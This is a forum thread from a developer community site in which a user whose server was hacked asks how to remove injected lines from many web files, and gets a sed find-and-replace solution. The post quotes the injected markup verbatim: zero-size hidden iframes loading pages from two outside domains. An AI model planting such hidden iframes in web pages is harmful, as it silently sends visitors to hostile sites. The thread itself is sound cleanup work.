473,385 Members | 1,445 Online
Bytes | Software Development & Data Engineering Community
Post Job

Home Posts Topics Members FAQ

Join Bytes to post your question to a community of 473,385 software developers and data experts.

plz help with gawk find and remove

cassbiz
202 100+
Our old machine was hacked and I need to remove a line from just about every *.htm*, *.php, *.cgi, etc... file

the lines that I need to remove are I have read up on gawk but most of the stuff I see out there looks like they are being written into a .sh script.


Expand|Select|Wrap|Line Numbers
  1. <html><iframe width=0 height=0 frameborder=0 src=http://www.o00o.info/portal/index.php?aff=razec marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html>
  2. <html><iframe width=0 height=0 frameborder=0 src=http://www.kgeba.com/portal/index.php?aff=razec marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html>
  3.  
Feb 6 '07 #1
2 2597
Motoma
3,237 Expert 2GB
Our old machine was hacked and I need to remove a line from just about every *.htm*, *.php, *.cgi, etc... file

the lines that I need to remove are I have read up on gawk but most of the stuff I see out there looks like they are being written into a .sh script.


Expand|Select|Wrap|Line Numbers
  1. <html><iframe width=0 height=0 frameborder=0 src=http://www.o00o.info/portal/index.php?aff=razec marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html>
  2. <html><iframe width=0 height=0 frameborder=0 src=http://www.kgeba.com/portal/index.php?aff=razec marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html>
  3.  
I would think that sed would be the perfect command to use for this.
Feb 6 '07 #2
cassbiz
202 100+
the command for sed is the following


Expand|Select|Wrap|Line Numbers
  1. sed 's/<html><iframe width=0 height=0 frameborder=0 src=http:\/\/www[.]kgeba[.]com\/portal\/index[.]php?aff=razec marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no><\/iframe><\/html>/\&nbsp;/g' index.html > TMPFILE && mv TMPFILE index.html
  2.  
So if anyone else runs into the problem of finding a string and replacing it the following applies

The first part is the command

bash-3.00$ sed 's

then the string starting at the forward slash

/

to the next forward slash

/

if you have other slashes in the string that you are finding then you must add a back slash \ in order for it to continue. Also dots have to be surround by brackets

Expand|Select|Wrap|Line Numbers
  1. [.]
  2.  
after the second forward slash then is the replacement string. In this case \&nbsp;

then to the closing which is

Expand|Select|Wrap|Line Numbers
  1. /g'
  2.  
then follows the name of the file you want to change 'index.html' and here is where is screwed up and it didn't work for me. Everything has to be written to a temp file

Expand|Select|Wrap|Line Numbers
  1. > TMPFILE && mv TMPFILE 
  2.  
then overwrite the original file which in this case is index.html

Now a note.

Do not do this as root for it will chown itself to root.root. Do this as the user in the directory that you are doing it or you will be having double the work in chown'ing everything back to the correct user.
Feb 7 '07 #3

Sign in to post your reply or Sign up for a free account.

Similar topics

0
by: Slavik | last post by:
All libraries were installed (precompiled) This is FreeBSD 5.1 installed zlib, installed jpeg and png libraries (in default directories) GD 2.0.11 source is in /usr/gd-2.0.11 (compiled and...
4
by: Jeff Lambert | last post by:
I saw something similar on the sourceforge bugs list but it was from 2001 so I assume it's fixed by now. O/S: WinXP SP2 and WinCE. Expat lib linked in VC++ 6 SP6. I have the following XML...
5
by: christopher.c.brewster | last post by:
A few years ago my department defined a DTD for a projected class of documents. Like the US Constitution, this DTD has details that are never actually used, so I want to clean it up. Is there any...
7
by: mike henkins | last post by:
hi, I've been looking through the various XML parsers API available and I have decided to use the SAX parser. Probably not the best of choices but I think it can do the job. What is the best way...
2
by: rick | last post by:
Greetings, I am trying to generate an html table that looks through the following xml source and lists links to all of the files (resource-file) and finds the resource-forms that match those...
40
by: raphfrk | last post by:
I have a program which reads in 3 filenames from the command line prog filename1 filename2 filename3 However, it doesn't work when one of the filenames has spaces in it (due to a directory...
2
by: karinmorena | last post by:
I'm having 4 errors, I'm very new at this and I would appreciate your input. The error I get is: Week5MortgageGUI.java:151:cannot find symbol symbol: method allInterest(double,double,double)...
12
by: Stu | last post by:
Being a newbie with XSLT transformation code please excuse my neivte. In addition, I am not sure what I want to do can be done with xslt so I apologize up front for asking anything stupid I...
5
matheussousuke
by: matheussousuke | last post by:
Hello, I'm using tiny MCE plugin on my oscommerce and it is inserting my website URL when I use insert image function in the emails. The goal is: Make it send the email with the URL...
1
by: CloudSolutions | last post by:
Introduction: For many beginners and individual users, requiring a credit card and email registration may pose a barrier when starting to use cloud servers. However, some cloud server providers now...
0
by: Faith0G | last post by:
I am starting a new it consulting business and it's been a while since I setup a new website. Is wordpress still the best web based software for hosting a 5 page website? The webpages will be...
0
isladogs
by: isladogs | last post by:
The next Access Europe User Group meeting will be on Wednesday 3 Apr 2024 starting at 18:00 UK time (6PM UTC+1) and finishing by 19:30 (7.30PM). In this session, we are pleased to welcome former...
0
by: taylorcarr | last post by:
A Canon printer is a smart device known for being advanced, efficient, and reliable. It is designed for home, office, and hybrid workspace use and can also be used for a variety of purposes. However,...
0
by: aa123db | last post by:
Variable and constants Use var or let for variables and const fror constants. Var foo ='bar'; Let foo ='bar';const baz ='bar'; Functions function $name$ ($parameters$) { } ...
0
by: emmanuelkatto | last post by:
Hi All, I am Emmanuel katto from Uganda. I want to ask what challenges you've faced while migrating a website to cloud. Please let me know. Thanks! Emmanuel
0
BarryA
by: BarryA | last post by:
What are the essential steps and strategies outlined in the Data Structures and Algorithms (DSA) roadmap for aspiring data scientists? How can individuals effectively utilize this roadmap to progress...
1
by: nemocccc | last post by:
hello, everyone, I want to develop a software for my android phone for daily needs, any suggestions?
1
by: Sonnysonu | last post by:
This is the data of csv file 1 2 3 1 2 3 1 2 3 1 2 3 2 3 2 3 3 the lengths should be different i have to store the data by column-wise with in the specific length. suppose the i have to...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.